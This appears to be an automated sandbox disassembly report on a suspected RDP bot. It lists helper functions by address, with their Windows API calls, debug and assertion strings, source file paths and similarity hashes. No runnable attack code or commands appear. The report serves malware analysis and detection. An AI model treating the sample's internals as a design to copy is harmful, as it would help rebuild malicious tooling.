Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: EnvironmentErrorExpandLastStringsfflushfwrite
String ID: ((*xpath_sz) > 0)$(path != NULL)$(xpath != NULL)$(xpath_sz != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> ExpandEnvironmentStringsA buffer is too small(path=%s,res=%lu,xpath_sz=%llu)$[E] (%s) -> ExpandEnvironmentStringsA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,xpath_sz=%llu,err=%08x)$[I] (%s) -> Done(path=%s,xpath=%s,xpath_sz=%llu)$fs_path_expand
API String ID: 1721699506-2819899730
Opcode ID: b38718f50570cfcf9c030a9ff5d0cf2f31db1b60abe9660199959e10cb2c9e68
Instruction ID: 3ca7a058fd5e800b853e3e96b27c2f9b6a7ad8ee5052ddb14401adeebd03d2fa
Opcode Fuzzy Hash: b38718f50570cfcf9c030a9ff5d0cf2f31db1b60abe9660199959e10cb2c9e68
Instruction Fuzzy Hash: 45617E62A0C94791FA20AF56EC84BB8A2516F84744FDD4836C50D276D0EFBCFDB58324

Function 00007FF704891A19 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 103COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 00007FF704891A46
LoadResource.KERNEL32 ref: 00007FF704891A5E

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

GetLastError.KERNEL32 ref: 00007FF704891B58
GetLastError.KERNEL32 ref: 00007FF704891B8D
GetLastError.KERNEL32 ref: 00007FF704891B92

Strings

(hnd != NULL), xrefs: 00007FF704891B11
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704891B1F, 00007FF704891B4A
[E] (%s) -> LoadResource failed(hnd=0x%p,gle=%lu), xrefs: 00007FF704891BA2
module_get_version, xrefs: 00007FF704891ADF, 00007FF704891B18, 00007FF704891B43, 00007FF704891B66, 00007FF704891B9B
[I] (%s) -> Done(hnd=0x%p,dwSignature=%08lx,dwStrucVersion=%08lx,dwFileVersionMS=%08lx,dwFileVersionLS=%08lx,dwProductVersionMS=%08lx,dwProductVersionLS=%08lx,dwFileFlagsMask=%08lx,dwFileFlags=%08lx,dwFileOS=%08lx,dwFileType=%08lx,dwFileSubtype=%08lx,dwFileDat, xrefs: 00007FF704891AE6
[E] (%s) -> FindResourceA failed(hnd=0x%p,gle=%lu), xrefs: 00007FF704891B6D
(out != NULL), xrefs: 00007FF704891B3C
C:/Projects/rdp/bot/codebase/module.c, xrefs: 00007FF704891B0A, 00007FF704891B35

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: ErrorLast$Resource$FindLoadfflushfwrite
String ID: (hnd != NULL)$(out != NULL)$C:/Projects/rdp/bot/codebase/module.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> FindResourceA failed(hnd=0x%p,gle=%lu)$[E] (%s) -> LoadResource failed(hnd=0x%p,gle=%lu)$[I] (%s) -> Done(hnd=0x%p,dwSignature=%08lx,dwStrucVersion=%08lx,dwFileVersionMS=%08lx,dwFileVersionLS=%08lx,dwProductVersionMS=%08lx,dwProductVersionLS=%08lx,dwFileFlagsMask=%08lx,dwFileFlags=%08lx,dwFileOS=%08lx,dwFileType=%08lx,dwFileSubtype=%08lx,dwFileDat$module_get_version
API String ID: 2123903355-2019010457
Opcode ID: c8e15383170f05e62394b630eadd2af80a129cbfe18894d6766f073c86ee11a2
Instruction ID: 8941aab699c150ce17a02f678711747f1c5b2e31d3b3e005da5b43fa5a8c3206
Opcode Fuzzy Hash: c8e15383170f05e62394b630eadd2af80a129cbfe18894d6766f073c86ee11a2
Instruction Fuzzy Hash: A4410E72A086428AE760EF66EC80969B7E1EF08754F940A35DA5C837D4EB7CE964C710

Function 00007FF7048965E3 Relevance: 19.6, APIs: 4, Strings: 9, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF70489660E
strlen.MSVCRT ref: 00007FF704896637
strlen.MSVCRT ref: 00007FF704896643
strlen.MSVCRT ref: 00007FF704896659

Strings

(path_sz != NULL), xrefs: 00007FF7048966C3
(path != NULL), xrefs: 00007FF704896693
[I] (%s) -> Done(path=%s,path_sz=%llu), xrefs: 00007FF70489666E
((*path_sz) > 0), xrefs: 00007FF7048966F3
[E] (%s) -> Failed(path=%s,path_sz=%llu,err=%08x), xrefs: 00007FF70489673B
fs_path_temp, xrefs: 00007FF704896667, 00007FF70489669A, 00007FF7048966CA, 00007FF7048966FA, 00007FF704896734
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF70489668C, 00007FF7048966BC, 00007FF7048966EC
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7048966A1, 00007FF7048966D1, 00007FF704896701
NULL, xrefs: 00007FF70489676D

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: strlen
String ID: ((*path_sz) > 0)$(path != NULL)$(path_sz != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,path_sz=%llu,err=%08x)$[I] (%s) -> Done(path=%s,path_sz=%llu)$fs_path_temp
API String ID: 39653677-3302659514
Opcode ID: b9c431ac8d9c02557a8d97dfce453b2c92b9229b81c887f7d29e4938a6881aa5
Instruction ID: 28f5dd5af77c21ab047178c7e5f5616813ef08a21e664a2c3988a637a9d50700
Opcode Fuzzy Hash: b9c431ac8d9c02557a8d97dfce453b2c92b9229b81c887f7d29e4938a6881aa5
Instruction Fuzzy Hash: D3414E62A0C94391FA11AF56AC80BB4E251BF40744FDC4A32D65D1B2D5EFBCB9368360

Function 00007FF70489A3E1 Relevance: 19.6, APIs: 6, Strings: 7, Instructions: 89memorystringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF70489A4A6
GetProcessHeap.KERNEL32 ref: 00007FF70489A4B4
HeapAlloc.KERNEL32 ref: 00007FF70489A4C5
strlen.MSVCRT ref: 00007FF70489A4E3
GetProcessHeap.KERNEL32 ref: 00007FF70489A511
HeapFree.KERNEL32 ref: 00007FF70489A522

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF70489A537
(buf_sz != NULL), xrefs: 00007FF70489A47D
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF70489A446, 00007FF70489A476
(buf != NULL), xrefs: 00007FF70489A44D
ini_get_bytes, xrefs: 00007FF70489A454, 00007FF70489A484
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF70489A45B, 00007FF70489A48B
mem_alloc, xrefs: 00007FF70489A530

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: Heap$Processstrlen$AllocFree
String ID: (buf != NULL)$(buf_sz != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Memory allocation failed(size=%llu)$ini_get_bytes$mem_alloc
API String ID: 1318626975-3964590784
Opcode ID: 04e016d4558c1e8b16952a0a78cd4064b8387b1813da11ceb61ead65e5897593
Instruction ID: 7fbecaa9ed08154acc200c11677aa28e21cd95c1c58f4f3d8add76cb8e1eaf9f
Opcode Fuzzy Hash: 04e016d4558c1e8b16952a0a78cd4064b8387b1813da11ceb61ead65e5897593
Instruction Fuzzy Hash: DE316122A08E8794F655BF13AC88BA9A290AF40B84FDC4431D94D17AD5DF7CFC758360

Function 00007FF704893B64 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 135COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF704893C3E

Part of subcall function 00007FF704893909: GetFileAttributesA.KERNEL32 ref: 00007FF70489392A

SetFileAttributesA.KERNEL32 ref: 00007FF704893BAB

Strings

fs_attr_set, xrefs: 00007FF704893BD7, 00007FF704893C02, 00007FF704893C4E, 00007FF704893D1D, 00007FF704893D83
(path != NULL), xrefs: 00007FF704893BD0
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF704893BC9, 00007FF704893BF4
(attr != NULL), xrefs: 00007FF704893BFB
[E] (%s) -> Failed(path=%s,attr=%08lx,err=%08x), xrefs: 00007FF704893D24
[D] (%s) -> Done(path=%s,attr=%08lx), xrefs: 00007FF704893D8A
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704893BDE, 00007FF704893C09
[E] (%s) -> SetFileAttributesA failed(path=%s,gle=%lu), xrefs: 00007FF704893C55
NULL, xrefs: 00007FF704893D74

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: AttributesFile$ErrorLast
String ID: (attr != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[D] (%s) -> Done(path=%s,attr=%08lx)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,attr=%08lx,err=%08x)$[E] (%s) -> SetFileAttributesA failed(path=%s,gle=%lu)$fs_attr_set
API String ID: 365566950-3085771803
Opcode ID: a731d91530fa155410fbd8bcd453fcef810afbdb8ae343ea91992bf55f7a59a9
Instruction ID: a29c63cb9a2f815f4a2ef8ee526bbd1c4088a5f16b407b831507bcb0478b1006
Opcode Fuzzy Hash: a731d91530fa155410fbd8bcd453fcef810afbdb8ae343ea91992bf55f7a59a9
Instruction Fuzzy Hash: 18518F61A0CE4386FA60BF56ACC0A79E251AF08348F984832DD1E866D5DF6CFD71C721

Function 00007FF704896263 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 113fileCOMMON

Download Yara Rule

APIs

UnlockFileEx.KERNEL32 ref: 00007FF7048962AB
CloseHandle.KERNEL32 ref: 00007FF7048962BC

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

GetLastError.KERNEL32 ref: 00007FF704896372

Strings

fs_file_unlock, xrefs: 00007FF7048962C5, 00007FF7048962FA, 00007FF70489632B, 00007FF704896356, 00007FF704896380
[E] (%s) -> Failed(lock=%p,err=%08x), xrefs: 00007FF70489635D
[I] (%s) -> Done(lock=%p), xrefs: 00007FF7048962CC
((*lock) != INVALID_HANDLE_VALUE), xrefs: 00007FF704896324
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7048962EC, 00007FF70489631D
(lock != NULL), xrefs: 00007FF7048962F3
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704896301, 00007FF704896332
[E] (%s) -> UnlockFileEx failed(hnd=%p,gle=%lu), xrefs: 00007FF704896387

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: CloseErrorFileHandleLastUnlockfflushfwrite
String ID: ((*lock) != INVALID_HANDLE_VALUE)$(lock != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(lock=%p,err=%08x)$[E] (%s) -> UnlockFileEx failed(hnd=%p,gle=%lu)$[I] (%s) -> Done(lock=%p)$fs_file_unlock
API String ID: 497672076-1436771859
Opcode ID: 7d2dae4e158726168d386117475a021dd06651b188776e8f94b674e542ac5f80
Instruction ID: a0e30cc82c835660daf355f7ba9ecb941260b6a5605932e1c46f4c6db5fb10e1
Opcode Fuzzy Hash: 7d2dae4e158726168d386117475a021dd06651b188776e8f94b674e542ac5f80
Instruction Fuzzy Hash: D3417361B0C94781FA20AF5BECC0EB8D351AF50B58F984A32C51D275D1AF6CBD729321

Function 00007FF704898008 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32 ref: 00007FF704898019
GetProcessHeap.KERNEL32 ref: 00007FF70489804F
HeapAlloc.KERNEL32 ref: 00007FF704898063
wcslen.MSVCRT ref: 00007FF704898080
GetProcessHeap.KERNEL32 ref: 00007FF704898093
HeapAlloc.KERNEL32 ref: 00007FF7048980A7
memcpy.MSVCRT ref: 00007FF7048980CF

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

Part of subcall function 00007FF7048914E2: EnterCriticalSection.KERNEL32 ref: 00007FF7048915B3
Part of subcall function 00007FF7048914E2: LeaveCriticalSection.KERNEL32 ref: 00007FF7048915DB
Part of subcall function 00007FF7048914E2: CopyFileA.KERNEL32 ref: 00007FF704891638

GetProcessHeap.KERNEL32 ref: 00007FF704898114
HeapFree.KERNEL32 ref: 00007FF704898125

Strings

mem_alloc, xrefs: 00007FF7048980DF, 00007FF7048980FA
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7048980E6, 00007FF704898101

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: Heap$Process$AllocCriticalFileSection$AttributesCopyEnterFreeLeavefflushfwritememcpywcslen
String ID: [E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc
API String ID: 4155868088-3920367287
Opcode ID: 19f4e89641a825ba8e6a8e3527bfb194d15c9b43ee916fb46d47d2c48247caca
Instruction ID: 1102ecedf2a496ac4dc91d93d03e1f41453a90b75ded682d639962b2c62d0ced
Opcode Fuzzy Hash: 19f4e89641a825ba8e6a8e3527bfb194d15c9b43ee916fb46d47d2c48247caca
Instruction Fuzzy Hash: C8313322A18A4791F624BF17EC80B79A251AF45B80F888931CA4D477D1EF7CFDA5C320

Function 00007FF704896A5C Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 73COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF704896A8B
GetLastError.KERNEL32 ref: 00007FF704896A96

Strings

(path_sz != NULL), xrefs: 00007FF704896B77
(path != NULL), xrefs: 00007FF704896B44
fs_module_path, xrefs: 00007FF704896AAE, 00007FF704896AE7, 00007FF704896B1B, 00007FF704896B4B, 00007FF704896B7E
(hnd != NULL), xrefs: 00007FF704896B14
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF704896B0D, 00007FF704896B3D, 00007FF704896B70
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704896B22, 00007FF704896B52, 00007FF704896B85
[E] (%s) -> Failed(hnd=0x%p,err=%08x), xrefs: 00007FF704896AEE
[E] (%s) -> GetModuleFileNameA failed(hnd=0x%p,gle=%lu), xrefs: 00007FF704896AB5
wfpblk.lock, xrefs: 00007FF704896A5C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: (hnd != NULL)$(path != NULL)$(path_sz != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(hnd=0x%p,err=%08x)$[E] (%s) -> GetModuleFileNameA failed(hnd=0x%p,gle=%lu)$fs_module_path$wfpblk.lock
API String ID: 2776309574-2006444783
Opcode ID: 493bcf6223beb6763dbda43352a8d64f615995933f30e362c3f552b2238180be
Instruction ID: 13c93c9ccaeb40f28d53be70790e5f6e9f63733fc0a1a4609297a936b399a1be
Opcode Fuzzy Hash: 493bcf6223beb6763dbda43352a8d64f615995933f30e362c3f552b2238180be
Instruction Fuzzy Hash: 21310862A0894795FB11BF16ED80FB4A291BF04758FC84932EA4C575D1EFBCA975C320

Function 00007FF704895923 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 161fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF704895969
GetFileSize.KERNEL32 ref: 00007FF70489598C
CloseHandle.KERNEL32 ref: 00007FF7048959AE
GetLastError.KERNEL32 ref: 00007FF704895A34
GetLastError.KERNEL32 ref: 00007FF704895AFA

Strings

(path != NULL), xrefs: 00007FF7048959E3
(size != NULL), xrefs: 00007FF704895A13
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7048959DC, 00007FF704895A0C
fs_file_size, xrefs: 00007FF7048959EA, 00007FF704895A1A
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7048959F1, 00007FF704895A21

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleSize
String ID: (path != NULL)$(size != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_file_size
API String ID: 3555958901-1687387729
Opcode ID: d18fac45b14cf10bbf4c722dcfb8da80885c7e019db0d3d867bd787882fa545c
Instruction ID: 49f3698f14fdc481fdd94c504e69f654de9ae5d58b5a3a20c01709ce51d3b413
Opcode Fuzzy Hash: d18fac45b14cf10bbf4c722dcfb8da80885c7e019db0d3d867bd787882fa545c
Instruction Fuzzy Hash: ED613E53E0D913A2FA226E16ACC4B7892505F41378FAD4D36C85E8B2D0DF6DBCA44272

Function 00007FF704893222 Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 87synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF704893233
GetLastError.KERNEL32 ref: 00007FF70489328C

Strings

[E] (%s) -> WaitForSingleObject failed(pid=%lugle=%lu), xrefs: 00007FF7048932A2
process_wait, xrefs: 00007FF704893272, 00007FF70489329B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704893279
(pi != NULL), xrefs: 00007FF70489326B
P, xrefs: 00007FF704893313
, xrefs: 00007FF7048932AE
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF704893264
~, xrefs: 00007FF70489330E

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: ErrorLastObjectSingleWait
String ID: $(pi != NULL)$C:/Projects/rdp/bot/codebase/process.c$P$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> WaitForSingleObject failed(pid=%lugle=%lu)$process_wait$~
API String ID: 1211598281-4195011794
Opcode ID: e614e6465d37558f7135f5dc73c12c5e46b17844bf3c93edc2c800c8d8d16f3e
Instruction ID: 50805e59d9c4af91caad0ecd0a1af27d922e4c42a0faa62c6d9ddfc2277f1c6c
Opcode Fuzzy Hash: e614e6465d37558f7135f5dc73c12c5e46b17844bf3c93edc2c800c8d8d16f3e
Instruction Fuzzy Hash: D531FD11E0CA0382FB747F9AACC4B7892409F4C315EE85932CE1F466D19F9DBDB59261

Function 00007FF704895C44 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 129filetimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF704895CA3
GetFileTime.KERNEL32 ref: 00007FF704895CBE
GetLastError.KERNEL32 ref: 00007FF704895CCC
CloseHandle.KERNEL32 ref: 00007FF704895DEE

Strings

(path != NULL), xrefs: 00007FF704895D00
(ctime != NULL) || (atime != NULL) || (mtime != NULL), xrefs: 00007FF704895D33
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF704895CF9, 00007FF704895D2C
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704895D0E, 00007FF704895D41
fs_file_stat, xrefs: 00007FF704895D07, 00007FF704895D3A

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastTime
String ID: (ctime != NULL) || (atime != NULL) || (mtime != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_file_stat
API String ID: 2291555494-3647951244
Opcode ID: d05849413dc51ef2d9fca7690cede0a83bfffe58287aac246e24bd13c564f661
Instruction ID: 40d20484eba431830571d2ffbf5787f04439e205f27db4a2a03916e40484447b
Opcode Fuzzy Hash: d05849413dc51ef2d9fca7690cede0a83bfffe58287aac246e24bd13c564f661
Instruction Fuzzy Hash: B7516263D0C903A6FB226E12ACC8B78D2906F007A8F9C4E31D91D4B2D4DF6DBD658361

Function 00007FF70489A264 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF70489A300
_strtoui64.MSVCRT ref: 00007FF70489A316
_errno.MSVCRT ref: 00007FF70489A320
_errno.MSVCRT ref: 00007FF70489A32C

Strings

[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF70489A353
(value != NULL), xrefs: 00007FF70489A2D8
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF70489A2D1
